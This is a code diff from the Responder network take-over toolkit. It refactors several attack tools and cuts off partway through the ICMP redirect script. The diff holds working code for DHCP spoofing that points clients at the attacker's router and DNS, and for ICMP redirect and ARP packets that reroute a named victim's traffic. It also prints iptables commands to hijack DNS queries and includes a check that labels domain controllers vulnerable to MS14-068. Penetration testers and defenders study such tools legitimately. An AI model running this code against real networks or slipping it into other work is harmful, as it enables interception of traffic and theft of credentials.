self.CaptureMultipleHashFromSameHost = self.toBool(config.get('Responder Core', 'CaptureMultipleHashFromSameHost'))
|
||||
self.AutoIgnoreList = []
|
||||
|
||||
if self.HtmlToInject == None:
|
||||
# CLI options
|
||||
self.ExternalIP = options.ExternalIP
|
||||
self.LM_On_Off = options.LM_On_Off
|
||||
self.WPAD_On_Off = options.WPAD_On_Off
|
||||
self.Wredirect = options.Wredirect
|
||||
self.NBTNSDomain = options.NBTNSDomain
|
||||
self.Basic = options.Basic
|
||||
self.Finger_On_Off = options.Finger
|
||||
self.Interface = options.Interface
|
||||
self.OURIP = options.OURIP
|
||||
self.Force_WPAD_Auth = options.Force_WPAD_Auth
|
||||
self.Upstream_Proxy = options.Upstream_Proxy
|
||||
self.AnalyzeMode = options.Analyze
|
||||
self.Verbose = options.Verbose
|
||||
self.ProxyAuth_On_Off = options.ProxyAuth_On_Off
|
||||
self.CommandLine = str(sys.argv)
|
||||
|
||||
if self.ExternalIP:
|
||||
self.ExternalIPAton = socket.inet_aton(self.ExternalIP)
|
||||
|
||||
if self.HtmlToInject is None:
|
||||
self.HtmlToInject = ''
|
||||
|
||||
self.Bind_To = utils.FindLocalIP(self.Interface)
|
||||
|
||||
self.Bind_To = utils.FindLocalIP(self.Interface, self.OURIP)
|
||||
self.IP_aton = socket.inet_aton(self.Bind_To)
|
||||
self.Os_version = sys.platform
|
||||
|
||||
@@ -182,7 +193,6 @@ class Settings:
|
||||
# Set up logging
|
||||
logging.basicConfig(filename=self.SessionLogFile, level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p')
|
||||
logging.warning('Responder Started: %s' % self.CommandLine)
|
||||
logging.warning('Responder Config: %s' % str(self))
|
||||
|
||||
Formatter = logging.Formatter('%(asctime)s - %(message)s')
|
||||
PLog_Handler = logging.FileHandler(self.PoisonersLogFile, 'w')
|
||||
@@ -197,6 +207,13 @@ class Settings:
|
||||
|
||||
self.AnalyzeLogger = logging.getLogger('Analyze Log')
|
||||
self.AnalyzeLogger.addHandler(ALog_Handler)
|
||||
|
||||
NetworkCard = subprocess.check_output(["ifconfig", "-a"])
|
||||
DNS = subprocess.check_output(["cat", "/etc/resolv.conf"])
|
||||
RoutingInfo = subprocess.check_output(["netstat", "-rn"])
|
||||
Message = "Current environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(NetworkCard,DNS,RoutingInfo)
|
||||
utils.DumpConfig(self.ResponderConfigDump, Message)
|
||||
utils.DumpConfig(self.ResponderConfigDump,str(self))
|
||||
|
||||
def init():
|
||||
global Config
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
# This file is part of Responder
|
||||
# Original work by Laurent Gaffie - Trustwave Holdings
|
||||
#
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
@@ -14,11 +14,9 @@
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import sys, os
|
||||
import socket
|
||||
import sys
|
||||
import os
|
||||
import thread
|
||||
import struct
|
||||
import time
|
||||
|
||||
BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..'))
|
||||
sys.path.insert(0, BASEDIR)
|
||||
@@ -29,7 +27,6 @@ from threading import Lock
|
||||
from utils import *
|
||||
|
||||
def ParseRoles(data):
|
||||
|
||||
if len(data) != 4:
|
||||
return ''
|
||||
|
||||
@@ -62,81 +59,44 @@ def ParseRoles(data):
|
||||
'Domain Enum': (ord(data[3]) >> 7) & 1,
|
||||
}
|
||||
|
||||
#print 'Workstation : ', AllRoles['Workstation']
|
||||
#print 'Server : ', AllRoles['Server']
|
||||
#print 'SQL : ', AllRoles['SQL']
|
||||
#print 'Domain Controller : ', AllRoles['Domain Controller']
|
||||
#print 'Backup Controller : ', AllRoles['Backup Controller']
|
||||
#print 'Time Source : ', AllRoles['Time Source']
|
||||
#print 'Apple : ', AllRoles['Apple']
|
||||
#print 'Novell : ', AllRoles['Novell']
|
||||
#print 'Member : ', AllRoles['Member']
|
||||
#print 'Print : ', AllRoles['Print']
|
||||
#print 'Dialin : ', AllRoles['Dialin']
|
||||
#print 'Xenix : ', AllRoles['Xenix']
|
||||
#print 'NT Workstation : ', AllRoles['NT Workstation']
|
||||
#print 'WfW : ', AllRoles['WfW']
|
||||
#print 'Unused : ', AllRoles['Unused']
|
||||
#print 'NT Server : ', AllRoles['NT Server']
|
||||
#print 'Potential Browser : ', AllRoles['Potential Browser']
|
||||
#print 'Backup Browser : ', AllRoles['Backup Browser']
|
||||
#print 'Master Browser : ', AllRoles['Master Browser']
|
||||
#print 'Domain Master Browser : ', AllRoles['Domain Master Browser']
|
||||
#print 'OSF : ', AllRoles['OSF']
|
||||
#print 'VMS : ', AllRoles['VMS']
|
||||
#print 'Windows 95+ : ', AllRoles['Windows 95+']
|
||||
#print 'DFS : ', AllRoles['DFS']
|
||||
#print 'Local : ', AllRoles['Local']
|
||||
#print 'Domain Enum : ', AllRoles['Domain Enum']
|
||||
return ', '.join(k for k,v in AllRoles.items() if v == 1)
|
||||
|
||||
Roles = []
|
||||
for k,v in AllRoles.iteritems():
|
||||
if v == 1:
|
||||
Roles.append(k)
|
||||
|
||||
return ', '.join(Roles)
|
||||
|
||||
class BrowserListener(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
#try:
|
||||
data, socket = self.request
|
||||
data, socket = self.request
|
||||
|
||||
lock = Lock()
|
||||
lock.acquire()
|
||||
lock = Lock()
|
||||
lock.acquire()
|
||||
|
||||
DataOffset = struct.unpack('<H',data[139:141])[0]
|
||||
BrowserPacket = data[82+DataOffset:]
|
||||
ReqType = RequestType(BrowserPacket[0])
|
||||
DataOffset = struct.unpack('<H',data[139:141])[0]
|
||||
BrowserPacket = data[82+DataOffset:]
|
||||
ReqType = RequestType(BrowserPacket[0])
|
||||
|
||||
Domain = Decode_Name(data[49:81])
|
||||
Name = Decode_Name(data[15:47])
|
||||
Role1 = NBT_NS_Role(data[45:48])
|
||||
Role2 = NBT_NS_Role(data[79:82])
|
||||
Fprint = WorkstationFingerPrint(data[190:192])
|
||||
Roles = ParseRoles(data[192:196])
|
||||
Domain = Decode_Name(data[49:81])
|
||||
Name = Decode_Name(data[15:47])
|
||||
Role1 = NBT_NS_Role(data[45:48])
|
||||
Role2 = NBT_NS_Role(data[79:82])
|
||||
Fprint = WorkstationFingerPrint(data[190:192])
|
||||
Roles = ParseRoles(data[192:196])
|
||||
|
||||
print text("[BROWSER] Request Type : %s" % ReqType)
|
||||
print text("[BROWSER] Address : %s" % self.client_address[0])
|
||||
print text("[BROWSER] Domain : %s" % Domain)
|
||||
print text("[BROWSER] Name : %s" % Name)
|
||||
print text("[BROWSER] Main Role : %s" % Role1)
|
||||
print text("[BROWSER] 2nd Role : %s" % Role2)
|
||||
print text("[BROWSER] Fingerprint : %s" % Fprint)
|
||||
print text("[BROWSER] Role List : %s" % Roles)
|
||||
print text("[BROWSER] Request Type : %s" % ReqType)
|
||||
print text("[BROWSER] Address : %s" % self.client_address[0])
|
||||
print text("[BROWSER] Domain : %s" % Domain)
|
||||
print text("[BROWSER] Name : %s" % Name)
|
||||
print text("[BROWSER] Main Role : %s" % Role1)
|
||||
print text("[BROWSER] 2nd Role : %s" % Role2)
|
||||
print text("[BROWSER] Fingerprint : %s" % Fprint)
|
||||
print text("[BROWSER] Role List : %s" % Roles)
|
||||
|
||||
RAPThisDomain(self.client_address[0], Domain)
|
||||
RAPThisDomain(self.client_address[0], Domain)
|
||||
|
||||
lock.release()
|
||||
|
||||
#except Exception:
|
||||
# pass
|
||||
lock.release()
|
||||
|
||||
|
||||
class ThreadingUDPServer(ThreadingMixIn, UDPServer):
|
||||
def server_bind(self):
|
||||
self.allow_reuse_address = 1
|
||||
#self.socket.setsockopt(socket.SOL_SOCKET, 25, 'eth0\0')
|
||||
UDPServer.server_bind(self)
|
||||
|
||||
def serve_thread_udp_broadcast(host, port, handler):
|
||||
@@ -155,4 +115,4 @@ if __name__ == "__main__":
|
||||
time.sleep(1)
|
||||
|
||||
except KeyboardInterrupt:
|
||||
sys.exit("\r Exiting...")
|
||||
sys.exit("\r Exiting...")
|
||||
|
||||
62
tools/DHCP.py
Normal file → Executable file
62
tools/DHCP.py
Normal file → Executable file
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
# This file is part of Responder
|
||||
# Original work by Laurent Gaffie - Trustwave Holdings
|
||||
#
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
@@ -16,8 +16,6 @@
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import sys
|
||||
import struct
|
||||
import socket
|
||||
import re
|
||||
import optparse
|
||||
import ConfigParser
|
||||
import os
|
||||
@@ -46,16 +44,13 @@ def color(txt, code = 1, modifier = 0):
|
||||
if options.Interface is None:
|
||||
print color("[!]", 1, 1), "-I mandatory option is missing, please provide an interface."
|
||||
exit(-1)
|
||||
|
||||
if options.RouterIP is None:
|
||||
elif options.RouterIP is None:
|
||||
print color("[!]", 1, 1), "-r mandatory option is missing, please provide the router's IP."
|
||||
exit(-1)
|
||||
|
||||
if options.DNSIP is None:
|
||||
elif options.DNSIP is None:
|
||||
print color("[!]", 1, 1), "-p mandatory option is missing, please provide the primary DNS server ip address or yours."
|
||||
exit(-1)
|
||||
|
||||
if options.DNSIP2 is None:
|
||||
elif options.DNSIP2 is None:
|
||||
print color("[!]", 1, 1), "-s mandatory option is missing, please provide the secondary DNS server ip address or yours."
|
||||
exit(-1)
|
||||
|
||||
@@ -230,22 +225,15 @@ def SpoofIP(Spoof):
|
||||
return ROUTERIP if Spoof else Responder_IP
|
||||
|
||||
def RespondToThisIP(ClientIp):
|
||||
|
||||
if ClientIp.startswith('127.0.0.'):
|
||||
return False
|
||||
|
||||
if len(RespondTo) and ClientIp not in RespondTo:
|
||||
elif RespondTo and ClientIp not in RespondTo:
|
||||
return False
|
||||
|
||||
if ClientIp in RespondTo or RespondTo == []:
|
||||
elif ClientIp in RespondTo or RespondTo == []:
|
||||
if ClientIp not in DontRespondTo:
|
||||
return True
|
||||
|
||||
return False
|
||||
|
||||
def IsUDP(data):
|
||||
return True if data[0][23:24] == "\x11" else False
|
||||
|
||||
def ParseSrcDSTAddr(data):
|
||||
SrcIP = socket.inet_ntoa(data[0][26:30])
|
||||
DstIP = socket.inet_ntoa(data[0][30:34])
|
||||
@@ -254,7 +242,7 @@ def ParseSrcDSTAddr(data):
|
||||
return SrcIP, SrcPort, DstIP, DstPort
|
||||
|
||||
def FindIP(data):
|
||||
IP = ''.join(re.findall('(?<=\x32\x04)[^EOF]*', data))
|
||||
IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data))
|
||||
return ''.join(IP[0:4])
|
||||
|
||||
def ParseDHCPCode(data):
|
||||
@@ -270,21 +258,17 @@ def ParseDHCPCode(data):
|
||||
# DHCP Inform
|
||||
if OpCode == "\x08":
|
||||
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=socket.inet_aton(CurrentIP))
|
||||
Packet = DHCPInformACK(Tid=PTid, ClientMac=MacAddr, ActualClientIP=socket.inet_aton(CurrentIP), \
|
||||
GiveClientIP=socket.inet_aton("0.0.0.0"), \
|
||||
NextServerIP=socket.inet_aton("0.0.0.0"), \
|
||||
RelayAgentIP=socket.inet_aton("0.0.0.0"), \
|
||||
Packet = DHCPInformACK(Tid=PTid, ClientMac=MacAddr, ActualClientIP=socket.inet_aton(CurrentIP),
|
||||
GiveClientIP=socket.inet_aton("0.0.0.0"),
|
||||
NextServerIP=socket.inet_aton("0.0.0.0"),
|
||||
RelayAgentIP=socket.inet_aton("0.0.0.0"),
|
||||
ElapsedSec=Seconds)
|
||||
|
||||
Packet.calculate()
|
||||
Buffer = UDP(Data = Packet)
|
||||
Buffer.calculate()
|
||||
SendDHCP(str(IP_Header)+str(Buffer), (CurrentIP, 68))
|
||||
|
||||
return 'Acknowleged DHCP Inform for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
|
||||
|
||||
# DHCP Request
|
||||
if OpCode == "\x03" and Respond_To_Requests:
|
||||
return 'Acknowledged DHCP Inform for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
|
||||
elif OpCode == "\x03" and Respond_To_Requests: # DHCP Request
|
||||
IP = FindIP(data)
|
||||
if IP:
|
||||
IPConv = socket.inet_ntoa(IP)
|
||||
@@ -292,16 +276,11 @@ def ParseDHCPCode(data):
|
||||
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP)
|
||||
Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, ElapsedSec=Seconds)
|
||||
Packet.calculate()
|
||||
|
||||
Buffer = UDP(Data = Packet)
|
||||
Buffer.calculate()
|
||||
|
||||
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68))
|
||||
|
||||
return 'Acknowleged DHCP Request for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
|
||||
|
||||
# DHCP Discover
|
||||
if OpCode == "\x01" and Respond_To_Requests:
|
||||
return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
|
||||
elif OpCode == "\x01" and Respond_To_Requests: # DHCP Discover
|
||||
IP = FindIP(data)
|
||||
if IP:
|
||||
IPConv = socket.inet_ntoa(IP)
|
||||
@@ -309,13 +288,10 @@ def ParseDHCPCode(data):
|
||||
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP)
|
||||
Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, DHCPOpCode="\x02", ElapsedSec=Seconds)
|
||||
Packet.calculate()
|
||||
|
||||
Buffer = UDP(Data = Packet)
|
||||
Buffer.calculate()
|
||||
|
||||
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0))
|
||||
|
||||
return 'Acknowleged DHCP Discover for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
|
||||
return 'Acknowledged DHCP Discover for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
|
||||
|
||||
def SendDHCP(packet,Host):
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
|
||||
@@ -329,7 +305,7 @@ if __name__ == "__main__":
|
||||
while True:
|
||||
try:
|
||||
data = s.recvfrom(65535)
|
||||
if IsUDP(data):
|
||||
if data[0][23:24] == "\x11": # is udp?
|
||||
SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data)
|
||||
|
||||
if SrcPort == 67 or DstPort == 67:
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
#!/bin/bash
|
||||
# This file is part of Responder
|
||||
# Original work by Laurent Gaffie - Trustwave Holdings
|
||||
# This file is part of Responder. laurent.gaffie@gmail.com
|
||||
#
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
@@ -36,12 +36,13 @@ if [ ! -d "/sys/class/net/$1" ]; then
|
||||
fi
|
||||
|
||||
INTF=$1
|
||||
IPADDR=`/sbin/ifconfig $INTF | grep 'inet addr' | tr ':' ' ' | awk '{print $3}'`
|
||||
NETMASK=`/sbin/ifconfig $INTF | grep 'inet addr' | tr ':' ' ' | awk '{print $7}'`
|
||||
PATH="$PATH:/sbin"
|
||||
IPADDR=`ifconfig $INTF | sed -n 's/inet addr/inet/; s/inet[ :]//p' | awk '{print $1}'`
|
||||
NETMASK=`ifconfig $INTF | sed -n 's/.*[Mm]ask[: ]//p' | awk '{print $1}'`
|
||||
DOMAIN=`grep -E "^domain |^search " /etc/resolv.conf | sort | head -1 | awk '{print $2}'`
|
||||
DNS1=$IPADDR
|
||||
DNS2=`grep ^nameserver /etc/resolv.conf | head -1 | awk '{print $2}'`
|
||||
ROUTER=`/sbin/route -n | grep ^0.0.0.0 | awk '{print $2}'`
|
||||
ROUTER=`route -n | grep ^0.0.0.0 | awk '{print $2}'`
|
||||
WPADSTR="http://$IPADDR/wpad.dat"
|
||||
if [ -z "$DOMAIN" ]; then
|
||||
DOMAIN=" "
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
# This file is part of Responder
|
||||
# Original work by Laurent Gaffie - Trustwave Holdings
|
||||
#
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
@@ -21,7 +21,7 @@ import struct
|
||||
import socket
|
||||
|
||||
sys.path.insert(0, os.path.realpath(os.path.join(os.path.dirname(__file__), '..')))
|
||||
from packets import SMBHeader,SMB2Header, SMB2Nego, SMB2NegoData
|
||||
from packets import SMB2Header, SMB2Nego, SMB2NegoData
|
||||
|
||||
def GetBootTime(data):
|
||||
Filetime = int(struct.unpack('<q',data)[0])
|
||||
@@ -35,12 +35,8 @@ def IsDCVuln(t):
|
||||
if t[0] < Date:
|
||||
print "DC is up since:", t[1]
|
||||
print "This DC is vulnerable to MS14-068"
|
||||
else:
|
||||
print "DC is up since:", t[1]
|
||||
print "DC is up since:", t[1]
|
||||
|
||||
def NbtLen(data):
|
||||
Len = struct.pack(">i", len(data))
|
||||
return Len
|
||||
|
||||
def run(host):
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
@@ -52,7 +48,7 @@ def run(host):
|
||||
Nego.calculate()
|
||||
|
||||
Packet = str(Header)+str(Nego)
|
||||
Buffer = NbtLen(Packet)+Packet
|
||||
Buffer = struct.pack(">i", len(Packet)) + Packet
|
||||
s.send(Buffer)
|
||||
|
||||
try:
|
||||
|
||||
6
tools/FindSQLSrv.py
Normal file → Executable file
6
tools/FindSQLSrv.py
Normal file → Executable file
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
# This file is part of Responder
|
||||
# Original work by Laurent Gaffie - Trustwave Holdings
|
||||
#
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
|
||||
379
tools/Icmp-Redirect.py
Normal file → Executable file
379
tools/Icmp-Redirect.py
Normal file → Executable file
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
# This file is part of Responder
|
||||
# Original work by Laurent Gaffie - Trustwave Holdings
|
||||
#
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
@@ -14,249 +14,224 @@
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import os
|
||||
import sys
|
||||
import socket
|
||||
import struct
|
||||
import optparse
|
||||
import random
|
||||
import pipes
|
||||
|
||||
import sys
|
||||
from socket import *
|
||||
sys.path.append('../')
|
||||
from odict import OrderedDict
|
||||
from random import randrange
|
||||
from time import sleep
|
||||
from subprocess import call
|
||||
from pipes import quote
|
||||
|
||||
BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..'))
|
||||
sys.path.insert(0, BASEDIR)
|
||||
from odict import OrderedDict
|
||||
from packets import Packet
|
||||
from utils import *
|
||||
|
||||
parser = optparse.OptionParser(usage='python %prog -I eth0 -i 10.20.30.40 -g 10.20.30.254 -t 10.20.30.48 -r 10.20.40.1', prog=sys.argv[0],)
|
||||
parser.add_option('-I', '--interface', action="store", help="Interface name to use, example: eth0", metavar="eth0",dest="Interface")
|
||||
parser.add_option('-g', '--gateway', action="store", help="The ip address of the original gateway ('route -n' will tell)", metavar="10.20.30.254",dest="OriginalGwAddr")
|
||||
parser.add_option('-t', '--target', action="store", help="The ip address of the target", metavar="10.20.30.48",dest="VictimIP")
|
||||
parser.add_option('-r', '--route', action="store", help="The ip address of the destination target, example: DNS server. Must be on another subnet.", metavar="10.20.40.1",dest="ToThisHost")
|
||||
parser.add_option('-s', '--secondaryroute', action="store", help="The ip address of the destination target, example: Secondary DNS server. Must be on another subnet.", metavar="10.20.40.1",dest="ToThisHost2")
|
||||
parser.add_option('-a', '--alternate', action="store", help="The alternate gateway, set this option if you wish to redirect the victim traffic to another host than yours", metavar="10.20.30.40",dest="AlternateGwAddr")
|
||||
parser = optparse.OptionParser(usage='python %prog -I eth0 -i 10.20.30.40 -g 10.20.30.254 -t 10.20.30.48 -r 10.20.40.1',
|
||||
prog=sys.argv[0],
|
||||
)
|
||||
parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="OURIP")
|
||||
parser.add_option('-g', '--gateway',action="store", help="The ip address of the original gateway (issue the command 'route -n' to know where is the gateway", metavar="10.20.30.254",dest="OriginalGwAddr")
|
||||
parser.add_option('-t', '--target',action="store", help="The ip address of the target", metavar="10.20.30.48",dest="VictimIP")
|
||||
parser.add_option('-r', '--route',action="store", help="The ip address of the destination target, example: DNS server. Must be on another subnet.", metavar="10.20.40.1",dest="ToThisHost")
|
||||
parser.add_option('-s', '--secondaryroute',action="store", help="The ip address of the destination target, example: Secondary DNS server. Must be on another subnet.", metavar="10.20.40.1",dest="ToThisHost2")
|
||||
parser.add_option('-I', '--interface',action="store", help="Interface name to use, example: eth0", metavar="eth0",dest="Interface")
|
||||
parser.add_option('-a', '--alternate',action="store", help="The alternate gateway, set this option if you wish to redirect the victim traffic to another host than yours", metavar="10.20.30.40",dest="AlternateGwAddr")
|
||||
options, args = parser.parse_args()
|
||||
|
||||
def color(txt, code = 1, modifier = 0):
|
||||
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
|
||||
|
||||
if options.OriginalGwAddr is None:
|
||||
print color("[!]", 1, 1), "-g mandatory option is missing, please provide the original gateway address.\n"
|
||||
exit(-1)
|
||||
|
||||
if options.VictimIP is None:
|
||||
print color("[!]", 1, 1), "-t mandatory option is missing, please provide a target.\n"
|
||||
exit(-1)
|
||||
|
||||
if options.Interface is None:
|
||||
print color("[!]", 1, 1), "-I mandatory option is missing, please provide your network interface.\n"
|
||||
exit(-1)
|
||||
|
||||
if options.ToThisHost is None:
|
||||
print color("[!]", 1, 1), "r mandatory option is missing, please provide a destination target.\n"
|
||||
exit(-1)
|
||||
if options.OURIP is None:
|
||||
print "-i mandatory option is missing.\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
elif options.OriginalGwAddr is None:
|
||||
print "-g mandatory option is missing, please provide the original gateway address.\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
elif options.VictimIP is None:
|
||||
print "-t mandatory option is missing, please provide a target.\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
elif options.Interface is None:
|
||||
print "-I mandatory option is missing, please provide your network interface.\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
elif options.ToThisHost is None:
|
||||
print "-r mandatory option is missing, please provide a destination target.\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
|
||||
if options.AlternateGwAddr is None:
|
||||
AlternateGwAddr = FindLocalIP(Interface)
|
||||
AlternateGwAddr = options.OURIP
|
||||
|
||||
Responder_IP = FindLocalIP(Interface)
|
||||
OriginalGwAddr = options.OriginalGwAddr
|
||||
#Setting some vars.
|
||||
OURIP = options.OURIP
|
||||
OriginalGwAddr = options.OriginalGwAddr
|
||||
AlternateGwAddr = options.AlternateGwAddr
|
||||
VictimIP = options.VictimIP
|
||||
ToThisHost = options.ToThisHost
|
||||
ToThisHost2 = options.ToThisHost2
|
||||
Interface = options.Interface
|
||||
VictimIP = options.VictimIP
|
||||
ToThisHost = options.ToThisHost
|
||||
ToThisHost2 = options.ToThisHost2
|
||||
Interface = options.Interface
|
||||
|
||||
print '###########################################################################'
|
||||
print '## ICMP REDIRECT UTILITY 0.1 ##'
|
||||
print '## ##'
|
||||
print '## This utility combined with Responder is useful on Windows networks ##'
|
||||
print '## Most Linux distributions discard by default ICMP Redirects. ##'
|
||||
print '## ##'
|
||||
print '## Note that if the target is Windows, the poisoning will only ##'
|
||||
print '## last for 10mn, you can re-poison the target by launching this ##'
|
||||
print '## utility again. If you wish to respond to the traffic, for example ##'
|
||||
print '## to DNS queries issued by the target, run these commands as root: ##'
|
||||
print '## ##'
|
||||
print '## * iptables -A OUTPUT -p ICMP -j DROP ##'
|
||||
print '## * iptables -t nat -A PREROUTING -p udp --dst %s ##' % ToThisHost
|
||||
print '## --dport 53 -j DNAT --to-destination %s:53 ##' % Responder_IP
|
||||
print '###########################################################################'
|
||||
print ''
|
||||
def Show_Help(ExtraHelpData):
|
||||
print("\nICMP Redirect Utility 0.1.\nCreated by Laurent Gaffie, please send bugs/comments to laurent.gaffie@gmail.com\n\nThis utility combined with Responder is useful when you're sitting on a Windows based network.\nMost Linux distributions discard by default ICMP Redirects.\n")
|
||||
print(ExtraHelpData)
|
||||
|
||||
MoreHelp = "Note that if the target is Windows, the poisoning will only last for 10mn, you can re-poison the target by launching this utility again\nIf you wish to respond to the traffic, for example DNS queries your target issues, launch this command as root:\n\niptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst %s --dport 53 -j DNAT --to-destination %s:53\n\n"%(ToThisHost,OURIP)
|
||||
|
||||
def GenCheckSum(data):
|
||||
s = 0
|
||||
for i in range(0, len(data), 2):
|
||||
q = ord(data[i]) + (ord(data[i+1]) << 8)
|
||||
f = s+q
|
||||
s = (f & 0xffff) + (f >> 16)
|
||||
return struct.pack("<H",~s & 0xffff)
|
||||
s = 0
|
||||
for i in range(0, len(data), 2):
|
||||
q = ord(data[i]) + (ord(data[i+1]) << 8)
|
||||
f = s + q
|
||||
s = (f & 0xffff) + (f >> 16)
|
||||
return struct.pack("<H",~s & 0xffff)
|
||||
|
||||
#####################################################################
|
||||
#ARP Packets
|
||||
#####################################################################
|
||||
class EthARP(Packet):
|
||||
fields = OrderedDict([
|
||||
("DstMac", "\xff\xff\xff\xff\xff\xff"),
|
||||
("SrcMac", ""),
|
||||
("Type", "\x08\x06" ), #ARP
|
||||
])
|
||||
fields = OrderedDict([
|
||||
("DstMac", "\xff\xff\xff\xff\xff\xff"),
|
||||
("SrcMac", ""),
|
||||
("Type", "\x08\x06" ), #ARP
|
||||
])
|
||||
|
||||
class ARPWhoHas(Packet):
|
||||
fields = OrderedDict([
|
||||
("HwType", "\x00\x01"),
|
||||
("ProtoType", "\x08\x00" ), #IP
|
||||
("MacLen", "\x06"),
|
||||
("IPLen", "\x04"),
|
||||
("OpCode", "\x00\x01"),
|
||||
("SenderMac", ""),
|
||||
("SenderIP", "\x00\xff\x53\x4d"),
|
||||
("DstMac", "\x00\x00\x00\x00\x00\x00"),
|
||||
("DstIP", "\x00\x00\x00\x00"),
|
||||
])
|
||||
fields = OrderedDict([
|
||||
("HwType", "\x00\x01"),
|
||||
("ProtoType", "\x08\x00" ), #IP
|
||||
("MacLen", "\x06"),
|
||||
("IPLen", "\x04"),
|
||||
("OpCode", "\x00\x01"),
|
||||
("SenderMac", ""),
|
||||
("SenderIP", "\x00\xff\x53\x4d"),
|
||||
("DstMac", "\x00\x00\x00\x00\x00\x00"),
|
||||
("DstIP", "\x00\x00\x00\x00"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
self.fields["DstIP"] = inet_aton(self.fields["DstIP"])
|
||||
self.fields["SenderIP"] = inet_aton(Responder_IP)
|
||||
def calculate(self):
|
||||
self.fields["DstIP"] = inet_aton(self.fields["DstIP"])
|
||||
self.fields["SenderIP"] = inet_aton(OURIP)
|
||||
|
||||
#####################################################################
|
||||
#ICMP Redirect Packets
|
||||
#####################################################################
|
||||
class Eth2(Packet):
|
||||
fields = OrderedDict([
|
||||
("DstMac", ""),
|
||||
("SrcMac", ""),
|
||||
("Type", "\x08\x00" ), #IP
|
||||
])
|
||||
fields = OrderedDict([
|
||||
("DstMac", ""),
|
||||
("SrcMac", ""),
|
||||
("Type", "\x08\x00" ), #IP
|
||||
])
|
||||
|
||||
class IPPacket(Packet):
|
||||
fields = OrderedDict([
|
||||
("VLen", "\x45"),
|
||||
("DifField", "\x00"),
|
||||
("Len", "\x00\x38"),
|
||||
("TID", "\x25\x25"),
|
||||
("Flag", "\x00"),
|
||||
